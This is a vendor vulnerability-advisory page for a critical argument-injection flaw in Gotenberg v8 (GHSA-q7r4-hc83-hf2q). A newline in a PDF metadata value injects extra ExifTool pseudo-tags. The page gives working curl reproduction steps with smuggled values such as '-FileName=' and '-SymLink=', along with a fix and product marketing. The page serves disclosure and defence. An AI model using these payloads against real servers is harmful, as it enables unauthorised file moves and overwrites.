Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-q7r4-hc83-hf2q

CRITICALFix: gotenberg/gotenberg@405f106

GHSA-q7r4-hc83-hf2q is a critical-severity (CVSS 10) vulnerability in github.com/gotenberg/gotenberg/v8. O3 Security confirms whether GHSA-q7r4-hc83-hf2q is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)

Also known asCVE-2026-40281GO-2026-5572
Published
Apr 30, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Real-World Exposure

1 pkg affected
🐹github.com/gotenberg/gotenberg/v8

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Vulnerability Details

CWE: CWE-20 - Improper Input Validation

The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.

Summary

The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.

Root Cause

pkg/modules/exiftool/exiftool.goWriteMetadata() function:

// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
    if !safeKeyPattern.MatchString(key) {  // ← only keys checked
        return fmt.Errorf(...)
    }
}

// VALUE passed through unsanitized:
case string:
    fileMetadata[0].SetString(key, val)  // ← val may contain \n

go-exiftool (barasher/go-exiftool) then writes:

fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
//   -Title=test
//   -FileName=/tmp/inject_proof

Steps to Reproduce

1. Start Gotenberg:
   docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8

2. Create a test PDF:
   curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -o test.pdf http://localhost:3001/forms/chromium/convert/html \
     <<< '<html><body>test</body></html>'

3. Inject -FileName via value newline:
   curl -s -w "\nHTTP %{http_code}" \
     -F '[email protected];type=application/pdf' \
     -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   # Returns HTTP 404 (file moved away from temp path)

4. Verify injection inside container:
   docker exec gotenberg-test ls -la /tmp/inject_proof
   # -rw-r--r-- 1 root root ... /tmp/inject_proof  (PDF moved here)

5. Symlink injection:
   curl -s -w "\nHTTP %{http_code}" \
     -F '[email protected];type=application/pdf' \
     -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   docker exec gotenberg-test ls -la /tmp/sym_inject
   # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf

Impact

An unauthenticated attacker can:

  1. Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
  2. Overwrite arbitrary files — e.g., -Directory=/etc/ -FileName=passwd injects two lines, moving the PDF to /etc/passwd, corrupting the system user database
  3. Create symlinks at arbitrary paths via -SymLink=, enabling subsequent read/write primitives
  4. Create hard links via -HardLink=, persisting data beyond temp directory cleanup

This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.

Proposed Fix

Add value sanitization parallel to the existing key check in WriteMetadata:

for key, value := range metadata {
    if !safeKeyPattern.MatchString(key) {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
    }
    if str, ok := value.(string); ok {
        if strings.ContainsAny(str, "\n\r\x00") {
            return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
        }
    }
}

Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.

Vulnerable Code

// See description for details

Steps to Reproduce

  1. Set up the application using the default configuration
  2. See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/gotenberg/gotenberg/v8all versions8.31.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/gotenberg/gotenberg/v8 to 8.31.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q7r4-hc83-hf2q is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-q7r4-hc83-hf2q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-q7r4-hc83-hf2q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Vulnerability Details **CWE**: CWE-20 - Improper Input Validation The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in containe
O3 Security · Impact-Aware SCA

Is GHSA-q7r4-hc83-hf2q in your dependencies?

O3 detects GHSA-q7r4-hc83-hf2q across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.